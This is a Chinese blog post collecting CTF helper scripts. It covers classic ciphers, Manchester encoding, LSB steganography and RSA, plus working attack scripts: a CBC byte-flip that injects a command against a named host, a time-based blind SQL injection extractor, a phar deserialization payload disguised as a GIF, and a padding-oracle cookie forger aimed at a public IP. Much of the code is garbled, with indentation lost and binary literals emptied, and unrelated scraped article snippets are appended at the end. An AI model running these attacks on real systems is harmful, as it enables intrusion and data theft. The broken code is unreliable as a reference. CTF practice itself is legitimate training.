首先推荐这篇文章,网上有多次转载,这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密

凯撒密码

 flag='flag{abcdef}'
c=''
n=20
for i in flag:
if 'a' <= i <='z':
i=chr(((ord(i)-ord('a'))+n)%26+ord('a'))
c+=i
print c

栅栏密码

 n= 5
m = "flag{0123456789abcdef}"
c=''
for x in range(n):
for i in range(len(m)):
if((n - i + x) % n == 0):
c+=m[i]
print c n=5
m=''
c=list(c)
zero=(n-len(c))%n
n=(len(c)+zero)/n
if zero != 0:
for i in range(1,zero):
c.insert(-n*i+1,'')
c.append('')
for x in range(n):
for i in range(len(c)):
if((n - i + x) % n == 0):
m+=c[i]
if zero!= 0:
m=m[:-zero]
print m

曼彻斯特编码与解码

 flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s=''
for i in range(len(flag)):
if flag[i]=='':
s+=''
else:
s+=''
print hex(int(s,2))[2:-1]
#296969a56956696a6a9a5a555a565a595a5a5a655a665a695a6a5a955a9669566959695a6965696669696aa6
r=""
for i in range(len(s)/2):
if s[i*2:i*2+2] == '':
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}

差分曼彻斯特编码与解码

 #coding=utf-8
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s='' # or '10'
for i in range(len(flag)):
if flag[i]=='':
s+=s[-2:][::-1]
else:
s+=s[-2:]
print hex(int(s,2))[2:-1]
#6565659565569a99665959555956a6a55959596aa696a69aa69959aaa6569aa9655a9aa69a95656965656669
r=""
tmp = 0
for i in xrange(len(s)/2):
c = s[i*2]
if c == s[i*2 - 1]:
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}

lsb隐写

 #coding=utf-8
from PIL import Image
import binascii
import random im_path = 'timg.jpg'
im = Image.open(im_path)
width, height = im.size
newImg = Image.new("RGBA",(width, height),(255,255,255,120))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
newImg.putpixel((j,i),(a,b,c,180))
newImg.save('new.bmp','PNG') flag=binascii.b2a_hex('flag{123456}')
flag= bin(int(flag,16))[2:]
flag= ''*(8-len(flag)%8)+flag
print flag newImg = Image.new("RGB",(width, height),(0,0,0))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
try: #将末尾像素置0后写入
newImg.putpixel((j,i),(a-a%2+int(flag[i*width+j]),b-b%2+int(flag[i*width+j]),c-c%2+int(flag[i*width+j])))
except:
try: #其余像素奇偶随机
newImg.putpixel((j,i),(a-random.randint(0,1),b-random.randint(0,1),c-random.randint(0,1)))
except:
newImg.putpixel((j,i),(a,b,c))
newImg.save('new.png','PNG')

cbc字节翻转攻击

 import requests
enc='2363303cf2fae8b1bbe443fe2d12947e5abcf9c0ceb12ce5fd3a43504de0bf0621b9917a715dad17f828ff0ace6ec816'.decode('hex')
m='Welcome to the code system!This is a test string'
fake='uu=admin&ff=php://input&ccc=nl *' iv=enc[16:32]
m1=m[32:]
fake1=fake[16:]
fake_iv='' for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake1[i])^ord(m1[i]))
enc=enc[:16]+fake_iv+enc[32:] m=requests.get('http://race.taropowder.cn:20002/?s='+enc.encode('hex')).content iv=enc[:16]
m2=m[16:32]
fake2=fake[:16] fake_iv=''
for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake2[i])^ord(m2[i]))
enc=fake_iv+enc[16:] m=requests.post('http://race.taropowder.cn:20002/?s='+enc.encode('hex'),data='phpinfo').content print m

flask session伪造

 from flask import Flask,  session
import uuid
import urllib.request
app = Flask(__name__)
app.config['SECRET_KEY']='' @app.route('/')
def index():
session['username']='user'
session['isadmin']=''
return 'hello' if __name__ == "__main__":
app.run(debug=True,port=8000,host="0.0.0.0")

RSA demo

 from gmpy2 import *
e=65537
p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
n=p*q
c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
x=long((p-1) * (q-1))
d= invert(e,x)
m=pow(c,d,n)
print hex(m)[2:].decode('hex')

SQL注入辅助

import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag

phar反序列化demo

<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo();
   $o->ha='echo "error";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

padding oracel

import requests
import urllib host='124.193.74.211'
port=''
#host='127.0.0.1'
#port='80'
url='http://%s:%s/login.php'%(host,port)
session = requests.session()
session.post(url=url,data={'username':'admin','password':'admin'}) im=[]
for i in range(1,17):
try:
s=''
xx=''
for j in im[::-1]:
xx+=chr(i^j)
for j in range(256):
s='\xff'*(16-i)+chr(j)+xx
s=s.encode('base64')
session.cookies.set('token',urllib.quote(s),domain=host,path='/')
x=session.get(url).text
if 'Error' not in x:
im.append(j^i)
print s.decode('base64').encode('hex')
break
print im
except Exception as e:
print e,'\n' for j in range(256): s='\x0f'*15
token=''
for i in range(15):
token+=chr(im[::-1][i]^ord(s[i]))
token=chr(j)+token
token=token.encode('base64')
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
if 'Error' in x:
im.append(j^ord(''))
print im
break im=im[::-1]
s='onepiece'+chr(8)*8
token=''
for i in range(16):
token+=chr(im[i]^ord(s[i]))
token=token.encode('base64')[:-1]
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
print session.cookies,x

爆破图片crc

import binascii

for i in range(16**4):
i=hex(i)[2:].zfill(4)
for j in range(16**4):
j=hex(j)[2:].zfill(4)
s= '%08x' % (binascii.crc32('IHDR'+'0000{i}0000{j}0802000000'.format(i=i,j=j).decode('hex')) & 0xffffffff)
if s=='53d1578a':
print 'x:',i,'y:',j,'crc:',s
print 'x:',i

CTF辅助脚本的更多相关文章

  1. gcov辅助脚本

    gcov辅助脚本(金庆的专栏)代码覆盖测试查看结果时,需要进入代码所在目录,调用gcov,然后vi查看.因为代码目录结构复杂,进出子目录太麻烦,所以用以下脚本直接生成与查看.一般是用TSVN列出有更改 ...

  2. [Python] 用python做一个游戏辅助脚本,完整思路

    一.说明 简述:本文将以4399小游戏<宠物连连看经典版2>作为测试案例,通过识别小图标,模拟鼠标点击,快速完成配对.对于有兴趣学习游戏脚本的同学有一定的帮助. 运行环境:Win10/Py ...

  3. CTF写脚本

    今天总结一下CTF如何写脚本快速得分....(比较菜,能力有限,大佬勿喷) 所谓的写脚本得分,就是利用了 python爬虫的思想,如果之前没有听说过的话,可以去爬虫的相关语法.如果是看网上的视频的话, ...

  4. py-faster-rcnn几个辅助脚本

    py-faster-rcnn本身代码很棒. 不过使用它的时候,还是需要自己写一些脚本,作为辅助. 1 所有.py文件顶部添加utf8编码声明.因为有时候需要添加中文注释,不声明编码会报错 #inser ...

  5. Acunetix Web Vulnerability Scanner Python辅助脚本

    WvsScannerQueue.pyVersion: Python 2.7.* Acunetix Web Vulnerability Scanner 辅助Python脚本的第一个版本.功能:扫描URL ...

  6. 编写简单的辅助脚本来在 Google 表格上记账

    我的第二份工作入职在即,而这一次则真的是完全跑到了一个陌生的城市了.租房,购置相关用品,还尚未工作钱就花掉一堆.尽管我个人之前一直都没有过记账的习惯,但为了让自己能够搞清楚自己的钱都花在哪里了,于是还 ...

  7. 简陋的swift carthage copy-frameworks 辅助脚本

    在看 carthage 时,其中需要配置一个 copy-frameworks 脚本,此脚本特殊的地方,需要手动填写 Input Files 和 Output Files.一个一个填写,很糟心~ 观察了 ...

  8. [W3bSafe]Metasploit溢出渗透内网主机辅助脚本

    文章来源i春秋 脚本用Shell编写  有的内网特别脆弱  本脚本主要就是 测试的话方便一点   输入内网网关就能调用Metasploit全部模块测试整个内网 运行截图<ignore_js_op ...

  9. " XSS易容术---bypass之编码混淆篇+辅助脚本编写"

    一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...

随机推荐

  1. 将两个数组相同index的value合并成一个新的value组成一个新的数组

    将两个数组相同index的value合并成一个新的value组成一个新的数组 前提: 这两个数组的长度相同 生成后的新数组长度也相同 返回值都是对象 把rows对象的key和value弄成两个数组, ...

  2. 在nuxt中引入Font Awesome字体图标库

    介绍 在element-ui框架中提供了一些图标样式,但是种类比较少,所以在这里提供一套更完善的字体图标库Font Awesome(官方文档),下面就开始介绍如何在一个nuxt项目中使用这套字体库. ...

  3. iOS8中UIActionSheet弹出UIImagePickerController异常处理

    iOS8之后,UIActionSheet改父于UIAlertController.带来了一丢丢兼容性的问题. 比如在弹出的actionsheet中选择从相册选择图片或者拍照,之后弹出UIImagePi ...

  4. 1.Java集合-HashMap实现原理及源码分析

    哈希表(Hash  Table)也叫散列表,是一种非常重要的数据结构,应用场景及其丰富,许多缓存技术(比如memcached)的核心其实就是在内存中维护一张大的哈希表,而HashMap的实现原理也常常 ...

  5. Java架构师告诉你Spring IoC有什么好处呢

    前言: 这个问题也一直困惑我很久,毕竟其他语言没有IOC也活的很好. 但是Spring在当时能够一统江湖,跟IOC真的有很大的关系. 在没有IOC的时代,New代表一切,女朋友都是可以New出来的. ...

  6. springboot 部署到tomcat中,项目总是重新部署

    tomcat目录中-conf文件夹下 <Host name="www.xxx.com" appBase="webapps" unpackWARs=&quo ...

  7. SRX550路由器缓存满了无法在web页面操作解决方法

    SRX550路由器缓存满了无法在web页面操作解决方法   首页出现下图为满的标志,我这个文档就是解决这中情况,让web页面可以操作的 1.  打开命令行,输入用户密码,进入路由器 注意:这里使用te ...

  8. Proxy ARP

    翻译自:https://ccieblog.co.uk/arp/proxy-arp Proxy ARP在一些路由器上是默认开启的.其思想是使两个不同子网上的主机,在没有配置默认网关的情况下,实现彼此通信 ...

  9. excel单元格数据与文本框数据同步

    Private Sub Worksheet_SelectionChange(ByVal Target As Range) ActiveSheet.Shapes().TextFrame2.TextRan ...

  10. 透过字节码生成审视Java动态代理运作机制

    对于动态代理我想应该大家都不陌生,就是可以动态去代理实现某个接口的类来干一些我们自己想要的功能,但是在字节码层面它的表现是如何的呢?既然目前刚好在研究字节码相关的东东,有必要对其从字节码角度来审视一下 ...